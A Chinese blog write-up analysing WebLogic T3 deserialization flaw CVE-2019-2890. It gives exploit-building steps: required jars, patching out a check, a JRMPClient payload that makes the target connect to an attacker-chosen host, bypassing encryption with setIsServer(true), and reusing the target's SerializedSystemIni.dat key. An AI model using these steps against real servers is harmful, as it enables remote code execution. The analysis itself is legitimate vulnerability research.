Weblogic-T3-CVE-2019-2890-Analysis

0x01 起因

本文仅记录一下自己调试2890的一些过程,网上已经有两篇公开的文章了,主要是因为要写年会PPT,然后自己上手调了一下这个漏洞,发现真的是个弟中弟的漏洞,感觉就是个混kpi的漏洞

0x02 漏洞原理

T3反序列化关键字还是 readObject ,所以补丁下来的第一时间,我全部反编译了,但是由于之前没有研究过weblogic,历史补丁没怎么留存,如果通过diff对比更新的方式会很快定位,所以只能反编译后搜。

之前T3反序列化的入口有 StreamMessageImpl、MarshalledObject 等,而且修复方式也是采用 resolveClass 或者 resolveProxyClass 处增加黑名单的校验的方式来修复,因此基于这两点实际上很好定位漏洞位置:
1、入口有 readObject 反序列化,
2、resolveClass 或者 resolveProxyClass 处有名单校验,且类不是之前修复过的类。

基于上述这两种情况很快定位到了 PersistenContext 这个类。

图片 1

图片 2

再回头翻一下 weblogic 原来的代码,嗯确实入口在这,在 readSubject 方法中,首先会读取var1中的反序列化数据,然后调用EncryptionUtil.decrypt方法进行解密,最后再触发反序列化。

图片 3

图片 4

因此构造Poc的时候,需要用PersistenContext这个类的 writeSubject 方法来生成特殊的序列化对象,让 readSubject 方法反序列化的时候成功触发。

0x03 漏洞利用

1.导入jar

网上有两篇文章都说了这么个构造思路,但是我阅读学习的时候,死在了导入jar这个难题下,因此在漏洞利用的开头,我列出几个jar文件,测试环境 weblogic 10.3.6 ,可能weblogic 12 jar名字有所不同。

1
2
3
4
5
6
7
com.bea.core.logging_1.9.0.0.jar
com.bea.core.management.core_2.9.0.1.jar
com.oracle.core.weblogic.msgcat_1.2.0.0.jar
cryptoj.jar
glassfish.jaxb_1.1.0.0_2-1-14.jar
weblogic.jar
wlthint3client.jar

image-20191206154302447

2.重写PersistenContext类

因为需要用到 PersinstenContext 这个类,因此序列化的时候肯定要将其实例化,但是在下图代码位置有个if检查。

image-20191206154754788

在这个if检查的结果会抛出 com.bea.core.security.managers.NotSupportedException 的异常导致反序列化中止。

image-20191206154844664

image-20191206155041820

因此这里解决办法就是绕过它,把它注释掉。

image-20191206155224966

3.改造writeSubject中的writeObject

原先在 writeSubject 中正常写入的对象如下图所示。

image-20191206155350665

这里我们需要将其替换掉,改成我们自己恶意对象,我的做法是构造恶意的JRMP对象。

image-20191206155527124

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static Registry getObject(String command) throws Exception {
int sep = command.indexOf(58);
String host;
int port;
if (sep < 0) {
port = (new Random()).nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}

ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);
return proxy;
}

4.改造加密问题

原先我们看到了,反序列化过程中有个解密过程,所以这里需要加密一下。首先加密过程有个KernelStatus.isServer()的判断。

1
2
3
if (KernelStatus.isServer()) {
var5 = EncryptionUtil.encrypt(var5);
}

会说我直接改造一下,把if去掉,让他直接EncryptionUtil.encrypt不就好了吗,但是跟进去之后会发现还是有个 Kernel.isServer() 的的判断。

1
2
3
public static byte[] encrypt(byte[] var0) {
return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;
}

因此这里需要调用KernelStatus.setIsServer(true);,将状态设置为true。

image-20191206160133988

当然这里还有另一种解法,我们实际上可以直接调用

1
var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte []) var5);

但是有个小问题 getEncryptionService 是一个 private 方法,你需要重写一个把它变成public就可以直接调用了。

image-20191206160330466

所以我重写了一个 EncryptionUtil ,并且将 getEncryptionService *设置为了 *public

image-20191206160426778

image-20191206160512938

5.解决加密key的问题

weblogic.security.internal.SerializedSystemIni 存在一个加密的key,这个key实际上每个weblogic都不一样,所以官方给这个漏洞评价为授权状态下getshell,也是和之前的T3反序列化不太一样的地方,这里的解决办法就是你要复现那个weblogic,就找到他的 SerializedSystemIni.dat 文件,并且在自己的目录下创建一个 security 目录,放进去就好了。

image-20191206160803400

6.最后一个小问题

在序列化的时候会出现卡死状态的,跟进之后发现原因在weblogic.security.subject.SubjectManager这个类里面。

image-20191206161548560

在这个类里面的 getSubjectManager 方法会有一个 ceClient 的判断,如果为fasle就不会直接返回 ceSubjectManager 对象,因此需要让他为 true

image-20191206161613921

而这个鬼东西默认情况下是false。

1
private static final boolean ceClient = "true".equalsIgnoreCase(System.getProperty("com.bea.core.internal.client", "false"));

因此只需要System.setProperty("com.bea.core.internal.client","true");让他过去即可。

最后还是弹个计算器吧。

图片 16

图片 18

0x04 漏洞修复

一如既往的老办法在resolveClass处增加黑名单检查。

图片 2

0x05 调试记录

调试过程代码都放到这里了,简单来说没啥用的洞。

Reference

Weblogic t3反序列化漏洞(CVE-2019-2890)分析

WebLogic 反序列化漏洞(CVE-2019-2890)分析